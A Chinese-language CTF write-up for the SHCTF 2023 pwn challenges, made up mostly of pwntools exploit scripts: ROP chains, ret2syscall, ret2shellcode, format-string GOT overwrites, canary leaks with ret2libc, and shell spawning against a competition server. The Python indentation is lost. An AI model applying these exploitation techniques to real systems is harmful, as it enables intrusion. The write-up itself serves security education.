SHCTF 2023 Writeup

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 8

SHCTF_week1&2_pwn

nc, hard nc
nc 题就不写了。

showshowway
越界写。

payload = 'a'*(0x100-0xc0) + 'showshowway' + '\x00'

口算题
写个循环来接收字符串后,进行识别和计算

四则计算器
使用 '\x00' 来截断,绕过对字符长度的限制,然后 ret2text

babystack
有 '/bin/sh\x00' 和 system_plt

from pwn import *


# p = process('./babystack')
p = remote('112.6.51.212', 30230)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
gdb.attach(p, content)
pause()

shell = 0x400858
pop_rdi_ret = 0x400833
system = 0x4005d0

payload = 'a'*(0x20+0x8)
payload += p64(pop_rdi_ret)
payload += p64(shell)
payload += p64(system)

p.sendline(payload)

p.interactive()
easy_shellcode
泄 old_ebp 后计算栈地址,然后打 ret2shellcode

from pwn import *


# p = process('./shellcode')
p = remote('112.6.51.212', 30373)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
gdb.attach(p, content)
pause()

# debug('b *0x4011C3')
p.sendline('a'*0xf)
leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
log.info('leak_addr: ' + hex(leak_addr))

'''
pwndbg> dist 0x7ffd22fdbc30 0x7ffd22fdbbb0
0x7ffd22fdbc30->0x7ffd22fdbbb0 is -0x80 bytes (-0x10 words)
'''

buf_addr = leak_addr - 0x80

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x78, 'a')
payload += p64(buf_addr)
p.sendline(payload)

p.interactive()

pkmon
参数 v1 可控,任意地址写

from pwn import *


# p = process('./pkmon')
p = remote('112.6.51.212', 30280)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
gdb.attach(p, content)
pause()

shell = 0x40072F
puts_got = 0x601018
# (0x6010A0-0x601018)/8=0X11=17
p.sendline('-17')

payload = p64(shell)
p.sendline(payload)
p.interactive()

ropchain
栈溢出,没有 '/bin/sh\x00' 字符串,但是有 system 函数,静态编译的,打法很多

(没有 '/bin/sh\x00' 字符串的话,常规思路是泄 libc 之后拿 libc 里面的 '/bin/sh\x00' ,或


者是自己往程序某处可写的地址写

from pwn import *


p = process('./simplerop')
# p = remote('112.6.51.212', 30143)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./simplerop')

def debug(content):
gdb.attach(p, content)
pause()

rop = ROP(elf)
rop.read(0, elf.bss(0x50), 0x10)
rop.execve(elf.bss(0x50), 0, 0)

# debug('b *0x401853')
payload = 'a'*(0x20 + 0x8)
# payload += rop.chain()
payload += str(rop)
p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

baby_rop
栈溢出,32 位,静态编译,没有 '/bin/sh\x00' 字符串,打 ret2syscall

from pwn import *


# p = process('./simplerop32')
p = remote('112.6.51.212', 30378)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./simplerop32')

def debug(content):
gdb.attach(p, content)
pause()

log.info('binsh: ' + hex(elf.bss(0x100)))

int_0x80 = 0x08049b62
eax = 0x080aa06a
edx_ecx_ebx = 0x08049941
# debug('b *0x0804992F')
payload = 'a'*(0x1c + 0x4)
payload += p32(0x0805CAF0)
payload += p32(edx_ecx_ebx)
payload += p32(0)
payload += p32(elf.bss(0x100))
payload += p32(0x10)

payload += p32(edx_ecx_ebx)
payload += p32(0) + p32(0) + p32(elf.bss(0x100))
payload += p32(eax)
payload += p32(0xb)
payload += p32(int_0x80)

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

baby_rop2
栈溢出,64 位,静态编译,没有 '/bin/sh\x00' 字符串,打 ret2syscall

from pwn import *


# p = process('./simplerop64')
p = remote('112.6.51.212', 30532)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./simplerop64')

def debug(content):
gdb.attach(p, content)
pause()

rdi = 0x401d1d
rsi = 0x40a30d
rdx = 0x401858
rax = 0x419a1c
read = 0x4197C0
syscall = 0x401243

payload = 'a'*(0x20 + 0x8)


payload += p64(rdi)
payload += p64(0)
payload += p64(rsi)
payload += p64(elf.bss(0x100))
payload += p64(rdx)
payload += p64(0x10)
payload += p64(read)

payload += p64(rdi)
payload += p64(elf.bss(0x100))
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(rax)
payload += p64(0x3b)
payload += p64(syscall)

p.sendline(payload)
p.sendline('/bin/sh\x00')

p.interactive()

string
利用格式化字符串泄 libc ,然后利用格式化字符串打 got 表

from pwn import *


# p = process('./pwn')
p = remote('112.6.51.212', 31035)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./pwn')
libc = elf.libc

def debug(content):
gdb.attach(p, content)
pause()

# debug('b *0x401283')
p.sendlineafter('choice:\n', '1')

# 0x7fffff417970->0x7fffff417a98 is 0x128 bytes (0x25 words)


# 0x128/0x8=0x25=37, 37+6=43
payload = '%43$p'
p.sendlineafter('message:\n', payload)
leak_addr = int(p.recv(14),16) #(__libc_start_main+243)
log.info('leak_addr = ' + hex(leak_addr))

libc_base = leak_addr - libc.symbols['__libc_start_main'] - 243


log.info('libc_base = ' + hex(libc_base))

#2.31-0ubuntu9.9 one_gadget
one_gadget = [0xe3afe,0xe3b01,0xe3b04]
backdoor = libc_base + one_gadget[1]

# debug('b *0x401244')
puts_got = 0x404018
p.sendlineafter('choice:\n', '1')
payload = fmtstr_payload(6, {puts_got: backdoor})
p.sendlineafter('message:\n', payload)

p.interactive()
猜数游戏
伪随机数预测,但是这题有小坑,首先是要计算预测的随机数的长度,这时注意一下这句代码
fgets(s, v3 - 1, stdin); ,其次因为他的长度限制,可能需要爆破几次

from pwn import *


from ctypes import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')


elf = cdll.LoadLibrary("libc.so.6")
p = process('./guess')
# p = remote('112.6.51.212', 32781)

def debug(content):
gdb.attach(p, content)
pause()

# debug('b *$rebase(0x139E)')

seed = int(time.time())
elf.srand(seed)
guess_num = elf.rand()
guess_num_str = str(guess_num)
length_of_guess_num = len(guess_num_str)
length_of_guess_num = length_of_guess_num + 2 #???exinren

log.info('guess_num: ' + hex(guess_num))

# debug('b *$rebase(0x1466)')
p.sendlineafter('number?\n', str(length_of_guess_num).encode())
p.sendline(guess_num_str.encode())

p.interactive()

要买些东西吗
32位的程序,格式化字符串泄 canary ,然后 ret2libc

from pwn import *


# p = process('./pwn')
p = remote('112.6.51.212', 32813)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def debug(content):
gdb.attach(p, content)
pause()

p.sendlineafter('choice:\n', '1')
payload = 'a'*(0x20)
p.sendlineafter('gift\n', payload)

p.recvuntil(payload)
canary = u32(p.recv(4))
canary = canary-ord('\n')
log.info("canary: " + hex(canary))

main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

p.sendlineafter('choice:\n', '2')
payload = 'a'*(0x2c - 0xc)
payload += p32(canary)
payload += 'a'*(0xc)
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)

p.sendlineafter('power\n', payload)

puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
log.info('libc_base: ' + hex(libc_base))

system_addr = libc_base + libc.symbols['system']


binsh = 0x0804A03F

p.sendlineafter('choice:\n', '2')
payload = 'a'*(0x2c - 0xc)
payload += p32(canary)
payload += 'a'*(0xc)
payload += p32(system_addr)
payload += p32(0)
payload += p32(binsh)
p.sendlineafter('power\n', payload)

p.interactive()

原始人,起动
字符串匹配后,任意指令执行,使用 ; 来闭合前面的语句,后面填入 /bin/sh\x00 ,注意将连续的四
个字节码转成十进制数后再发送

from pwn import *


# p = process('./pwn')
p = remote('112.6.51.212', 32689)
context(os = 'linux', arch = 'amd64', log_level = 'debug')

def debug(content):
gdb.attach(p, content)
pause()

def hex_to_decimal(hex_number):
decimal_number = str(int(hex_number))
return decimal_number

# debug('b *0x400777')
# debug('b *0x4007B0')
'''
pwndbg> x/20gx 0x601060
0x601060 <qidong>: 0x6e6568736e617579 0x21676e6f6469712c
0x601070 <qidong+16>: 0x0000000000000000 0x0000000000000000
'''
p.sendlineafter('Genshin\n', hex_to_decimal(0x6e617579))

p.sendline(hex_to_decimal(0x6e656873))
p.sendline(hex_to_decimal(0x6469712c))
p.sendline(hex_to_decimal(0x21676e6f))

p.sendline(hex_to_decimal(0x69622f3b)) # ib/;
p.sendline(hex_to_decimal(0x68732f6e)) # hs/n

p.sendline('\x00')

p.interactive()

You might also like